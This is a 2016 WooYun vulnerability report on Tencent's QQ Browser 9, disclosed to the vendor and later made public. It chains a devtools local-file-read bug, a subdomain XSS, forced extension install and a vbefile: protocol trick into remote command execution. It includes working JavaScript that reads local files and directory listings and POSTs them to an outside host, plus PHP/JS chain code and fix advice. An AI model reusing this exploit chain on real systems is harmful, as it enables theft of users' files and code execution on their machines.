当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0176314

漏洞标题:QQ浏览器9本地文件读取&远程命令执行

相关厂商:腾讯

漏洞作者: gainover

提交时间:2016-02-17 08:56

修复时间:2016-05-17 15:10

公开时间:2016-05-17 15:10

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-17: 细节已通知厂商并且等待厂商处理中
2016-02-17: 厂商已经确认,细节仅向厂商公开
2016-02-20: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-12: 细节向核心白帽子及相关领域专家公开
2016-04-22: 细节向普通白帽子公开
2016-05-02: 细节向实习白帽子公开
2016-05-17: 细节向公众公开

简要描述:

新年快乐

详细说明:

QQ浏览器最新版本,版本:9.3.6581.400
1. 老外在一个avast的漏洞(https://**.**.**.**/p/chromium/codesearch#chromium/src/chrome/browser/devtools/devtools_ui_**.**.**.**&sq=package:chromium&type=cs&l=638)里提到了chrome-devtools的一个本地文件读取的漏洞(情报来自@sogili(长短短))
拿老外的PoC来试试?QQ浏览器打开下面的URL:
chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true
这个会加载一个外部的js
https://**.**.**.**/screencast_module.js
screencast_module.js 代码如下:

var data = "";
DevToolsAPI.streamWrite = function(id, chunk) {
document.write("Receiving data for stream " + id + "<br>");
data += chunk;
}
DevToolsAPI.sendMessageToEmbedder(
"loadNetworkResource",
[ "file:///C:/111.txt", "", 0 ],
function (result) {
var x=new XMLHttpRequest();x.open("POST","https://**.**.**.**",true);x.send(data);
}
);


可以看到利用 DevToolsAPI,可以向外出容器发送消息,消息类型为 loadNetworkResource,通过这个,可以读取本地文件内容。如下图所示:

qq1.jpg


不仅仅是读文件内容,利用这个,还可以读取目录下的文件列表,像这样

var data = "";
DevToolsAPI.streamWrite = function(id, chunk) {
document.write("Receiving data for stream " + id + "<br>");
data += chunk;
}
DevToolsAPI.sendMessageToEmbedder(
"loadNetworkResource",
[ "file:///C:/", "", 0 ],
function (result) {
var x=new XMLHttpRequest();x.open("POST","https://**.**.**.**",true);x.send(data);
}
);


如下图所示:

qq2.png


因此,只要让QQ浏览器打开这个页面,我们就可以遍历本地文件内容,并读取发送至远程服务器上。
2. 如何让QQ浏览器打开 chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true 这个地址呢?
常规的location.href,window.open应该是都不行的,会被安全限制。比如:提示Not allowed to load local resource,或打开页面是空白等措施。
怎么破?这里直接先列出思路。

a. 子域.**.**.**.** XSS -> iframe -> 子域.browser.**.**.**.** (该页面的domain要求为**.**.**.**)
b. 调用子域.browser.**.**.**.**里的chrome.management.install API 安装插件“手机助手”
c. 插件安装成功后,利用子域.**.**.**.** XSS -> chrome.runtime.sendMessage 向“手机助手”发送消息, --> 手机助手接受消息 打开 chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true


3. 我们来一步一步实现上面的步骤,首先是一个子域的XSS
http://wiki.dev.4g.**.**.**.**/v2/ZH_CN/ios/index.html#!/%5c/**.**.**.**/test/all/qq-xss-alert.php

qq3.png


4. 找到一个子域.browser.**.**.**.**,因为browser.**.**.**.**及其子域有使用chrome.management.install的权限。
http://event.browser.**.**.**.**/stdl/miyue/index.html
如下图所示:

qq4.png


5. 用子域.**.**.**.**的XSS调用子域.browser.**.**.**.**的chrome.management.install实现插件安装,利用代码如下:
qq-xss-install.php

<?php
header("Access-Control-Allow-Headers: x-requested-with");
header("Access-Control-Allow-Origin: *");
?>
<script>
document.domain='**.**.**.**';
var f=document.createElement("iframe");
f.src='http://event.browser.**.**.**.**/stdl/miyue/index.html';
f.onload=function(){
f.contentWindow.chrome.management.install({id:"llilejmacjghpgeenjonaggofdjobdhb",crx_url:"https://pcbrowser.dd.**.**.**.**/pcbrowserbig/qbextension/qb_crx/85a4b89505532a5ec92faf546bbcda81.crx"},function(){console.log(arguments)})
}
document.body.appendChild(f);
</script>


访问下面的地址:
http://wiki.dev.4g.**.**.**.**/v2/ZH_CN/ios/index.html#!/%5c/**.**.**.**/test/all/qq-xss-install.php
如下图所示,手机助手将会被安装。

qq5.png


6. 在手机助手安装完成后,我们就可以使用chrome.runtime.sendMessage来发送消息,

chrome.runtime.sendMessage("llilejmacjghpgeenjonaggofdjobdhb",{cmd:'jump',isNewOpen:true,target:'chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true'});


修改步骤5里的代码,在安装完成的回调里添加以上代码。
qq-xss-install-2.php

<?php
header("Access-Control-Allow-Headers: x-requested-with");
header("Access-Control-Allow-Origin: *");
?>
<script>
document.domain='**.**.**.**';
var f=document.createElement("iframe");
f.src='http://event.browser.**.**.**.**/stdl/miyue/index.html';
f.onload=function(){
f.contentWindow.chrome.management.install({id:"llilejmacjghpgeenjonaggofdjobdhb",crx_url:"https://pcbrowser.dd.**.**.**.**/pcbrowserbig/qbextension/qb_crx/85a4b89505532a5ec92faf546bbcda81.crx"},function(){
console.log(arguments);
setTimeout(function(){
chrome.runtime.sendMessage("llilejmacjghpgeenjonaggofdjobdhb",{cmd:'jump',isNewOpen:true,target:'chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true'});
},2000);
})
}
document.body.appendChild(f);
</script>


访问:http://wiki.dev.4g.**.**.**.**/v2/ZH_CN/ios/index.html#!/%5c/**.**.**.**/test/all/qq-xss-install-2.php
等待插件被安装完成后,就会打开 chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true
如下图所示:

qq6.jpg


7. 为啥向“手机助手”发送消息可以打开指定的页面?
查看手机助手扩展里的message.js,里面存在如下代码:

chrome.runtime.onMessageExternal.addListener(function(e,t,o){var a=t.tab.id;"jump"===e.cmd&&(e.isNewOpen?chrome.tabs.create({url:e.target}):chrome.tabs.update(a,{url:e.target}),o({error:0}))})


在扩展里定义了onMessageExternal的listner,这使得插件可以接受外部扩展的消息。所以我们可以构造恶意的消息,发送给该扩展,从而打开我们指定的页面。
----------------------------------------
*** 分割线,从文件读取到命令执行 ***
----------------------------------------
1. 首先还是列一下思路

a. 访问http://**.**.**.**/test/all/cache.php,让浏览器生成一个恶意的缓存文件
b. 通过上面的文件读取,读取c:/users/下的用户名列表,找到当前用户的用户名
c. 得到浏览器的缓存目录C:\Users\用户名\AppData\Local\Tencent\QQBrowser\User Data\Default\Cache
d. 通过上面的文件读取,得到缓存目录下的文件列表,得到浏览器刚生成的缓存文件名称
e. 通过 location.href='vbefile:/../../../../../../../../../../Users/用户名/AppData/Local/Tencent/QQBrowser/User Data/Default/Cache/缓存文件名" //E:jscript //B "' 来执行恶意缓存文件


2. 首先是获得c:/users/下的用户列表

function getUsers(){
DevToolsAPI.sendMessageToEmbedder(
"loadNetworkResource",
[ "file:///C:/Users", "", 0 ],
function (result) {
var users=data.match(/<script>addRow\("([^"]+)"/g)||[];
var currentUser=[];
for(var i=0;i<users.length;i++){
var user=(users[i].match(/<script>addRow\("([^"]+)"/)||["",""])[1]
if(["..","All Users","Default","Default User","Public","UpdatusUser","desktop.ini"].indexOf(user)==-1){
currentUser.push(user);
}
}
console.log(currentUser);
}
);
}


3. 然后是读取缓存文件列表

function getCaches(User){
DevToolsAPI.sendMessageToEmbedder(
"loadNetworkResource",
[ "file:///C:/Users/"+User+"/AppData/Local/Tencent/QQBrowser/User Data/Default/Cache/", "", 0 ],
function (result) {
//console.log(data);
var cachesData=data.match(/<script>addRow\("([^"]+)"/g)||[];
console.log(cachesData.length);
var caches=[];
for(var i=0;i<cachesData.length;i++){
var cache=(cachesData[i].match(/<script>addRow\("([^"]+)"/)||["",""])[1]
if(cache!=".."){
caches.push(cache);
}
}
console.log(caches);
}
);
}


4. 创建恶意缓存

var img=new Image();
img.onerror=function(){
//缓存加载完毕的回调
};
img.src="http://**.**.**.**/test/all/cache.php?"+Math.random();


5. 然后是所有代码串起来。
首先是得到用户名,这里假定只有一个用户,如果有多个用户,可以循环尝试每个用户。
然后是得到缓存文件列表,
然后创建恶意缓存,
然后再得到一次缓存文件列表,
对比2个列表,就可以得到缓存文件名。
然后执行缓存文件名。

测试代码见测试代码区域


效果如下,可以看到得到的缓存文件名,然后缓存被执行。

qq7.jpg


漏洞证明:

win7
访问 漏洞测试页(见测试代码里的地址)
会跳转至 **.**.**.**
加载 http://**.**.**.**/stdl/miyue/index.html
安装“手机助手”扩展, 这个可能需要下载一小会并自动安装,
安装成功后,就会打开
chrome-devtools://devtools/ 下的页面
进而执行“详细说明”里的流程

qq8.png

修复方案:

1. 浏览器调用外部协议时,增加用户交互提示,见 http://**.**.**.**/test/all/readme.htm
2. 手机助手扩展里的,接受消息后,对需要打开的url进行判断。
3. 修复 **.**.**.** XSS
4. 降低chrome.management.install的作用范围。
5. 更新chrome-devtools(我也不知道有没有更新补丁,或者自行更改devtools里的相关JS代码)

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-02-17 15:02

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-02-17 08:57 | 艺术家 ( 普通白帽子 | Rank:496 漏洞数:102 | 我觉得我像个艺术家。)

    哈哈,我是第一人

  2. 2016-02-17 08:58 | 剑芯 ( 实习白帽子 | Rank:48 漏洞数:15 | xsser)

    哈哈,我是第二人

  3. 2016-02-17 09:00 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1393 漏洞数:147 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    哈哈,我是第三人

  4. 2016-02-17 09:01 | hecate ( 普通白帽子 | Rank:810 漏洞数:127 | ®高级安全工程师 | WooYun认证√)

    呜呜,我是第三人

  5. 2016-02-17 09:04 | k0_pwn ( 普通白帽子 | Rank:149 漏洞数:15 | 专注且自由)

    嘻嘻,我是第四人

  6. 2016-02-17 09:04 | he1renyagao ( 普通白帽子 | Rank:235 漏洞数:31 | 是金子总会发光,在还未发光之前,先磨磨)

    呜呜,我是第四人

  7. 2016-02-17 09:08 | ’‘Nome ( 普通白帽子 | Rank:144 漏洞数:31 | 有事请发邮件,2859857@gmail.com,垃圾邮...)

    嘎嘎,我是第五人

  8. 2016-02-17 09:24 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

    我是第99人

  9. 2016-02-17 09:24 | winalva ( 实习白帽子 | Rank:42 漏洞数:11 | rank是什么?)

    啦啦,对不起,我是第六人

  10. 2016-02-17 09:27 | ciba ( 普通白帽子 | Rank:101 漏洞数:14 | 无名小卒)

    荣登top ten

  11. 2016-02-17 09:32 | 路人毛 ( 普通白帽子 | Rank:109 漏洞数:44 | 要想Rank给高,标题一定得屌)

    大声告诉我,我是第几人?

  12. 2016-02-17 09:48 | Sai、 ( 路人 | Rank:14 漏洞数:4 | for fun……)

    据PKAV的伙伴说上班总是上着上着就被二哥黑了

  13. 2016-02-17 10:32 | j14n ( 普通白帽子 | Rank:1731 漏洞数:319 | ... . -.-. - . .- --)

    top 15

  14. 2016-02-17 10:37 | kotobuki ( 路人 | Rank:11 漏洞数:7 | 烧饭大帅哥!!)

    火钳刘明

  15. 2016-02-17 11:25 | hkcs ( 实习白帽子 | Rank:56 漏洞数:9 | 只是路过)

    关注百度安全

  16. 2016-02-17 11:26 | hkcs ( 实习白帽子 | Rank:56 漏洞数:9 | 只是路过)

    @hkcs 你怎么回复的。。笑了,是腾讯安全

  17. 2016-02-17 11:36 | 香草 ( 实习白帽子 | Rank:99 漏洞数:14 | javascript,xss,jsp、aspx)

    @Sai、 我可以证明这是真的

  18. 2016-02-17 11:43 | 梦皑皑 ( 路人 | Rank:1 漏洞数:1 | 本人小白,缺团队培养。)

    留个名,好看看

  19. 2016-02-17 12:46 | Burn Egg ( 实习白帽子 | Rank:80 漏洞数:10 | 经验,范围,字典,思维)

    二哥就是二哥,,学不来啊

  20. 2016-02-17 13:10 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:4829 漏洞数:368 | 你都有那么多超级棒棒糖了,还要自由干吗?)

    厉害,一套一套的

  21. 2016-02-17 13:55 | 陆由乙 ( 普通白帽子 | Rank:562 漏洞数:128 | 我是突突兔!)

  22. 2016-02-17 14:20 | Soulmk ( 实习白帽子 | Rank:54 漏洞数:14 | 低调学习求发展~)

  23. 2016-02-17 15:20 | 过来人 ( 路人 | Rank:2 漏洞数:1 | 我是小白!啦啦啦!)

    我是第23人!啦啦啦!

  24. 2016-02-17 15:34 | erhuo ( 普通白帽子 | Rank:125 漏洞数:36 | 666)

    嘿嘿,我是第二十四人

  25. 2016-02-17 15:50 | xiaoL ( 普通白帽子 | Rank:361 漏洞数:67 | PKAV技术宅社区!Blog:http://www.xlixli....)

    被黑的在此!

  26. 2016-02-21 23:02 | zeracker 认证白帽子 ( 普通白帽子 | Rank:1077 漏洞数:139 | 爱吃小龙虾。)

    nb。

  27. 2016-02-28 13:27 | Mark0smith ( 普通白帽子 | Rank:162 漏洞数:65 | 我要是再正常一点就好了)

    #27

  28. 2016-02-29 19:14 | 玄道 ( 普通白帽子 | Rank:140 漏洞数:41 | 就是注入 就是注入 注入)

    二八楼嘎嘎

  29. 2016-03-03 11:46 | 你大爷在此 百无禁忌 ( 路人 | Rank:18 漏洞数:9 | 迎风尿三丈 顺风八十米)

    二哥 666

  30. 2016-03-05 11:46 | 伤剑 ( 实习白帽子 | Rank:77 漏洞数:39 | 冷瞳冷心冷少年,冷淡冷漠冷温柔。)

    我是第几人

  31. 2016-03-18 09:07 | 杨聪 ( 路人 | Rank:0 漏洞数:1 | 新手上路,多多照顾,)

    三一任 吼吼

  32. 2016-03-18 10:38 | 习总夸我好青年 ( 路人 | Rank:2 漏洞数:1 | 刚来的,请多关照)

    等着呢 ! 混脸熟

  33. 2016-03-25 08:14 | 江西高创安邦技术有限公司(乌云厂商)

    @猪猪侠 你好,可以留个联系方式吗?

  34. 2016-04-12 15:13 | 淡茶de清香 ( 路人 | Rank:2 漏洞数:1 | 收集)

    等着呢 ! 混脸熟

  35. 2016-05-01 00:18 | Archeb ( 路人 | Rank:8 漏洞数:3 | 学生,乌云路人一枚。)

    我是第35人吧

  36. 2016-05-02 18:45 | 伤剑 ( 实习白帽子 | Rank:77 漏洞数:39 | 冷瞳冷心冷少年,冷淡冷漠冷温柔。)

    6666666666666666